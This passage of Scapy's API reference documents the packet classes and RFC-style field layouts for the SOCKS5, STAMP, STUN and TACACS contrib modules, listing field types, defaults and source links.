+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      REP      |      RES      |      ATYP     |      ADDR     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SOCKS5Reply                         


SOCKS5Reply fields






	rep

	ByteEnumField

	0



	res

	ByteField

	0



	atyp

	ByteEnumField

	1



	addr

	MultipleTypeField (IPField, DNSStrField, IP6Field, StrField)

	b''



	port

	ShortField

	80















	
class scapy.contrib.socks.SOCKS5Request(_pkt, /, *, cd=0, res=0, atyp=1, addr=None, port=80)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L125-L145]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CD      |      RES      |      ATYP     |      ADDR     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SOCKS5Request                        


SOCKS5Request fields






	cd

	ByteEnumField

	0



	res

	ByteField

	0



	atyp

	ByteEnumField

	1



	addr

	MultipleTypeField (IPField, DNSStrField, IP6Field, StrField)

	b''



	port

	ShortField

	80















	
class scapy.contrib.socks.SOCKS5UDP(_pkt, /, *, res=0, frag=0, atyp=1, addr=None, port=80)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L172-L182]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              RES              |      FRAG     |      ATYP     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADDR             |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SOCKS5UDP                          


SOCKS5UDP fields






	res

	ShortField

	0



	frag

	ByteField

	0



	atyp

	ByteEnumField

	1



	addr

	MultipleTypeField (IPField, DNSStrField, IP6Field, StrField)

	b''



	port

	ShortField

	80











	
guess_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L179-L182]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.stamp

STAMP (Simple Two-Way Active Measurement Protocol) - RFC 8762.

References


	Simple Two-Way Active Measurement Protocol [RFC 8762] [https://www.rfc-editor.org/rfc/rfc8762.html]


	Simple Two-Way Active Measurement Protocol Optional Extensions [RFC 8972] [https://www.rfc-editor.org/rfc/rfc8972.html]





	
class scapy.contrib.stamp.ErrorEstimate(_pkt, /, *, S=0, Z=0, scale=0, multiplier=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stamp.py#L56-L118]

	Bases: Packet

The Error Estimate specifies the estimate of the error and
synchronization. The format of the Error Estimate field
(defined in Section 4.1.2 of RFC 4656 [https://www.rfc-editor.org/rfc/rfc4656.html]) is reported below:

0                   1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|S|Z|   Scale   |   Multiplier  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+





S is interpreted as follows:




	Value

	Description



	0

	there is no notion of external synchronization for
the time source



	1

	the party generating the timestamp has a clock that
is synchronized to UTC using an external source









Z is interpreted as follows (defined in Section 2.3 of RFC 8186 [https://www.rfc-editor.org/rfc/rfc8186.html]):




	Value

	Description



	0

	NTP 64-bit format of a timestamp



	1

	PTPv2 truncated format of a timestamp









Scale and Multiplier are linked by the following relationship:

ErrorEstimate = Multiplier*2^(-32)*2^Scale (in seconds)





References


	A One-way Active Measurement Protocol (OWAMP) [RFC 4656] [https://www.rfc-editor.org/rfc/rfc4656.html]


	Support of the IEEE 1588 Timestamp Format in a Two-Way Active
Measurement Protocol (TWAMP) [RFC 8186] [https://www.rfc-editor.org/rfc/rfc8186.html]





	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|S|Z|   SCALE   |   MULTIPLIER  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ErrorEstimate                        


ErrorEstimate fields






	S

	BitEnumField

	0



	Z

	BitEnumField

	0



	scale

	BitField  (6 bits)

	0



	multiplier

	ByteField

	1











	
guess_payload_class(payload: str) → Packet_metaclass[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stamp.py#L113-L118]

	








	
class scapy.contrib.stamp.STAMPSessionReflectorTestUnauthenticated(_pkt, /, *, seq=0, ts=None, err_estimate=<ErrorEstimate  |>, ssid=1, ts_rx=None, seq_sender=0, ts_sender=None, err_estimate_sender=<ErrorEstimate  |>, mbz1=0, ttl_sender=255, mbz2=0, tlv_objects=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stamp.py#L232-L300]

	Bases: Packet

Extended STAMP Session-Reflector Test Packet in Unauthenticated Mode.

The format (defined in Section 3 of RFC 8972 [https://www.rfc-editor.org/rfc/rfc8972.html]) is shown below:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          Timestamp                            |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Error Estimate        |           SSID                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          Receive Timestamp                    |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 Session-Sender Sequence Number                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  Session-Sender Timestamp                     |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Session-Sender Error Estimate |           MBZ                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Ses-Sender TTL |                   MBZ                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
~                            TLVs                               ~
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+





References


	Simple Two-Way Active Measurement Protocol Optional Extensions
[RFC 8972] [https://www.rfc-editor.org/rfc/rfc8972.html]





	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               TS                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ERR ESTIMATE         |              SSID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TS RX                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SEQ SENDER                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TS SENDER                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ERR ESTIMATE SENDER      |              MBZ1             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   TTL SENDER  |                      MBZ2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          TLV OBJECTS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. STAMPSessionReflectorTestUnauthenticated           


STAMPSessionReflectorTestUnauthenticated fields






	seq

	IntField

	0



	ts

	MultipleTypeField (TimeStampField, UTCTimeField)

	0



	err_estimate

	PacketField

	<ErrorEstimate  |>



	ssid

	ShortField

	1



	ts_rx

	MultipleTypeField (TimeStampField, UTCTimeField)

	0



	seq_sender

	IntField

	0



	ts_sender

	MultipleTypeField (TimeStampField, UTCTimeField)

	0



	err_estimate_sender

	PacketField

	<ErrorEstimate  |>



	mbz1

	ShortField

	0



	ttl_sender

	ByteField

	255



	mbz2

	NBytesField

	0



	tlv_objects

	PacketListField

	[]















	
class scapy.contrib.stamp.STAMPSessionSenderTestUnauthenticated(_pkt, /, *, seq=0, ts=None, err_estimate=<ErrorEstimate  |>, ssid=1, mbz=0, tlv_objects=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stamp.py#L183-L229]

	Bases: Packet

Extended STAMP Session-Sender Test Packet in Unauthenticated Mode.

The format (defined in Section 3 of RFC 8972 [https://www.rfc-editor.org/rfc/rfc8972.html]) is shown below:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          Timestamp                            |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Error Estimate        |             SSID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|                                                               |
|                         MBZ (28 octets)                       |
|                                                               |
|                                                               |
|                                                               |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
~                            TLVs                               ~
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+





References


	Simple Two-Way Active Measurement Protocol Optional Extensions
[RFC 8972] [https://www.rfc-editor.org/rfc/rfc8972.html]





	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               TS                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ERR ESTIMATE         |              SSID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MBZ                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          TLV OBJECTS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. STAMPSessionSenderTestUnauthenticated            


STAMPSessionSenderTestUnauthenticated fields






	seq

	IntField

	0



	ts

	MultipleTypeField (TimeStampField, UTCTimeField)

	0



	err_estimate

	PacketField

	<ErrorEstimate  |>



	ssid

	ShortField

	1



	mbz

	NBytesField

	0



	tlv_objects

	PacketListField

	[]















	
class scapy.contrib.stamp.STAMPTestTLV(_pkt, /, *, flags=<Flag 0 ()>, type=None, len=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stamp.py#L121-L180]

	Bases: Packet

The STAMP Test TLV defined in Section 4 of [RFC 8972] provides a flexible
extension mechanism for optional informational elements.

The TLV Format in a STAMP Test packet is reported below:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STAMP TLV Flags|     Type      |           Length              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
~                            Value                              ~
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+







	Field

	Description



	STAMP TLV Flags

	8-bit field; for the details about the STAMP
TLV Flags Format, see RFC 8972



	Type

	characterizes the interpretation of the Value
field



	Length

	the length of the Value field in octets



	Value

	interpreted according to the value of the Type
field






References


	Simple Two-Way Active Measurement Protocol Optional Extensions
[RFC 8972] [https://www.rfc-editor.org/rfc/rfc8972.html]





	
aliastypes

	




	
classmethod dispatch_hook(pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stamp.py#L175-L180]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stamp.py#L166-L167]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. STAMPTestTLV                         


STAMPTestTLV fields






	flags

	FlagsField

	<Flag 0 ()>



	type

	ByteEnumField

	None



	len

	ShortField

	0



	value

	StrLenField

	b''











	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stamp.py#L171-L173]

	




	
registered_stamp_tlv = {None: <class 'scapy.contrib.stamp.STAMPTestTLV'>}

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.stun

STUN (RFC 8489)


	TLV code derived from the DTP implementation:
	
	Thanks to Nicolas Bareil,
	Arnaud Ebalard,
Jochen Bartl.










	
class scapy.contrib.stun.STUN(_pkt, /, *, RESERVED=0, stun_message_type=None, length=None, magic_cookie=554869826, transaction_id=None, attributes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L240-L259]

	Bases: Packet


	
aliastypes

	




	
description = ''

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RES|     STUN MESSAGE TYPE     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         TRANSACTION ID                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. STUN                             


STUN fields






	RESERVED

	BitField  (2 bits)

	0



	stun_message_type

	BitEnumField

	None



	length

	LenField

	None



	magic_cookie

	XIntField

	554869826



	transaction_id

	XBitField  (96 bits)

	None



	attributes

	PacketListField

	[]











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L252-L259]

	








	
class scapy.contrib.stun.STUNFingerprint(_pkt, /, *, type=32808, length=4, crc_32=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L178-L185]

	Bases: STUNGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CRC 32                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. STUNFingerprint                       


STUNFingerprint fields






	type

	XShortField

	32808



	length

	ShortField

	4



	crc_32

	XIntField

	None















	
class scapy.contrib.stun.STUNGenericTlv(_pkt, /, *, type=0, length=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L72-L89]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L81-L86]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. STUNGenericTlv                        


STUNGenericTlv fields






	type

	XShortField

	0



	length

	FieldLenField

	None



	value

	PadField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L88-L89]

	








	
class scapy.contrib.stun.STUNGoogNetworkInfo(_pkt, /, *, type=49239, length=4, network_id=0, network_cost=999)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L198-L206]

	Bases: STUNGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NETWORK ID          |          NETWORK COST         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. STUNGoogNetworkInfo                     


STUNGoogNetworkInfo fields






	type

	XShortField

	49239



	length

	ShortField

	4



	network_id

	ShortField

	0



	network_cost

	ShortField

	999















	
class scapy.contrib.stun.STUNIceControlling(_pkt, /, *, type=32810, length=8, tie_breaker=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L188-L195]

	Bases: STUNGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          TIE BREAKER                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. STUNIceControlling                      


STUNIceControlling fields






	type

	XShortField

	32810



	length

	ShortField

	8



	tie_breaker

	XLongField

	None















	
class scapy.contrib.stun.STUNMessageIntegrity(_pkt, /, *, type=8, length=20, hmac_sha1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L105-L116]

	Bases: STUNGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           HMAC SHA1                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. STUNMessageIntegrity                     


STUNMessageIntegrity fields






	type

	XShortField

	8



	length

	ShortField

	20



	hmac_sha1

	XNBytesField

	0











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L114-L116]

	








	
class scapy.contrib.stun.STUNPriority(_pkt, /, *, type=36, length=4, priority=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L119-L126]

	Bases: STUNGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRIORITY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. STUNPriority                         


STUNPriority fields






	type

	XShortField

	36



	length

	ShortField

	4



	priority

	IntField

	0















	
class scapy.contrib.stun.STUNUseCandidate(_pkt, /, *, type=37, length=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L168-L175]

	Bases: STUNGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. STUNUseCandidate                       


STUNUseCandidate fields






	type

	XShortField

	37



	length

	FieldLenField

	0



	value

	PadField

	b''















	
class scapy.contrib.stun.STUNUsername(_pkt, /, *, type=6, length=None, username=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L92-L102]

	Bases: STUNGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            USERNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. STUNUsername                         


STUNUsername fields






	type

	XShortField

	6



	length

	FieldLenField

	None



	username

	PadField

	b''















	
class scapy.contrib.stun.STUNXorMappedAddress(_pkt, /, *, type=32, length=8, RESERVED=0, address_family=1, xport=0, xip=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L155-L165]

	Bases: STUNGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   | ADDRESS FAMILY|             XPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XIP                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. STUNXorMappedAddress                     


STUNXorMappedAddress fields






	type

	XShortField

	32



	length

	ShortField

	8



	RESERVED

	ByteField

	0



	address_family

	ByteEnumField

	1



	xport

	XorPort

	0



	xip

	XorIp

	0















	
class scapy.contrib.stun.XorIp(name: str, default: str | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L144-L152]

	Bases: IPField


	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L149-L152]

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L146-L147]

	








	
class scapy.contrib.stun.XorPort(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L135-L141]

	Bases: ShortField


	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L140-L141]

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/stun.py#L137-L138]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.tacacs

TACACS

Based on tacacs+ v6 draft
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06


	
class scapy.contrib.tacacs.TacacsAccountingReply(_pkt, /, *, server_msg_len=None, data_len=None, status=None, server_msg=b'', data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tacacs.py#L295-L309]

	Bases: Packet

Tacacs accounting reply body from section 6.2
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.2


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERVER MSG LEN        |            DATA LEN           |
